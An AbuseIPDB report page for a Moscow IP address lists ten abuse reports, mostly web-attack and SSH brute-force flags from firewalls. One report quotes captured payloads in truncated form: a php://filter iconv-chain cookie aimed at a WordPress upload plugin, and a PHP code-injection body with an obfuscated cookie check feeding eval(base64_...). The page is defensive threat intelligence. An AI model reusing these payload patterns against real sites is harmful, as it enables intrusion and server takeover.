JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 109.252.153.12

109.252.153.12 was found in our database!

This IP was reported 10 times. Confidence of Abuse is 24%: ?

24%

ISP	Moscow Local Telephone Network (OAO MGTS)
Usage Type	Fixed Line ISP
ASN	AS25513
Hostname(s)	109-252-153-12.dynamic.spd-mgts.ru
Domain Name	spd-mgts.ru
Country	🇷🇺 Russian Federation
City	Khimki, Moscow Oblast

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 109.252.153.12

Whois 109.252.153.12

IP Abuse Reports for 109.252.153.12:

This IP address has been reported a total of 10 times from 7 distinct sources. 109.252.153.12 was first reported on November 9th 2024, and the most recent report was 3 weeks ago.

Old Reports: The most recent abuse report for this IP address is from 3 weeks ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 julianalee.com	2026-07-07 16:59:00 (3 weeks ago)	06/Jul/26 00:44:50 #4234910 CRITICAL 520 109.252.153.12 GET /index.php - Data URI scheme or P ... show more 06/Jul/26 00:44:50 #4234910 CRITICAL 520 109.252.153.12 GET /index.php - Data URI scheme or PHP wrappers - [COOKIE:wfu_ABSPATH = php://filter/convert.iconv.UTF8.CSISO2022KR\|convert.base64-encode\|convert.iconv.UTF8.UTF7\|convert.iconv.SE2.UTF-16\|convert.iconv.CSIBM921.NAPLPS\|convert.iconv.855.CP936\|convert.ic...] - julianaleerealty.com 06/Jul/26 00:45:09 #1480579 CRITICAL 155 109.252.153.12 POST /index.php - Code injection - [POST:9 = <?php echo 409723*20;if(md5($_COOKIE["d"])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_...] - julianaleerealty.com 06/Jul/26 00:45:10 #8508688 CRITICAL 520 109.252.153.12 GET /index.php - Data URI scheme or PHP wrappers - [COOKIE:wfu_ABSPATH = php://filter/convert.iconv.UTF8.CSISO2022KR\|convert.base64-encode\|convert.iconv.UTF8.UTF7\|convert.iconv.SE2.UTF-16\|convert.iconv.CSIBM921.NAPLPS\|convert.iconv.855.CP936\|convert.ic...] - julianaleerealty.com show less	Hacking SQL Injection
🇱🇻 garmtech.com	2026-07-04 22:15:37 (3 weeks ago)	IM360 WAF: Dangerous PHP functions in HTTP headers	Web App Attack
🇱🇻 garmtech.com	2026-07-04 22:15:22 (3 weeks ago)	IM360 WAF: Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)	Web App Attack
Anonymous	2026-07-03 06:33:00 (3 weeks ago)		Web App Attack Hacking SQL Injection
🇳🇱 Site.eu	2026-07-02 16:20:28 (3 weeks ago)	Excessive 404/403 errors	Brute-Force
🇩🇪 FeG Deutschland	2026-06-30 20:24:32 (4 weeks ago)	Looking for CMS/PHP/SQL vulnerablilities/excessive crawling - 247	Exploited Host Web App Attack
🇱🇻 garmtech.com	2026-06-30 15:46:27 (4 weeks ago)	IM360 WAF: Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)	Web App Attack
🇱🇻 garmtech.com	2026-06-30 15:46:27 (4 weeks ago)	IM360 WAF: Dangerous PHP functions in HTTP headers MV:https://atraisfoto.lv/wp-content/plugins/wp-fi ... show more IM360 WAF: Dangerous PHP functions in HTTP headers MV:https://atraisfoto.lv/wp-content/plugins/wp-file-upload/wfu_file_... show less	Web App Attack
Anonymous	2026-06-21 05:20:42 (1 month ago)	Malicious activity	Bad Web Bot Web App Attack
🇷🇺 Mga Admin	2024-11-09 10:37:25 (1 year ago)	2024-11-09T17:37:21.280677 mga-mga.mga.local sshd[3041490]: pam_sss(sshd:auth): authentication failu ... show more 2024-11-09T17:37:21.280677 mga-mga.mga.local sshd[3041490]: pam_sss(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=109.252.153.12 user=lima 2024-11-09T17:37:23.176762 mga-mga.mga.local sshd[3041490]: Failed password for lima from 109.252.153.12 port 1258 ssh2 2024-11-09T17:37:25.128664 mga-mga.mga.local sshd[3041490]: Failed password for lima from 109.252.153.12 port 1258 ssh2 ... show less	Brute-Force SSH

Showing 1 to 10 of 10 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 2604:a880:400:d1:0:4:c250:2001

🇺🇸 2001:470:2cc:1::186

🇻🇪 200.44.204.193

🇷🇺 176.208.50.142

🇺🇸 147.185.132.231

🇺🇸 136.67.7.91

🇸🇬 101.32.145.199

🇪🇪 95.153.31.11

🇳🇱 94.102.49.193

🇺🇸 74.82.47.49

🇺🇸 71.6.165.200

🇰🇷 58.76.159.170

🇮🇩 36.92.140.209

🇵🇰 203.128.6.156

🇹🇼 198.235.24.39

🇩🇪 193.148.56.72

🇲🇽 189.147.193.166

🇺🇸 138.197.115.213

🇹🇭 118.194.251.101

🇸🇬 103.189.234.9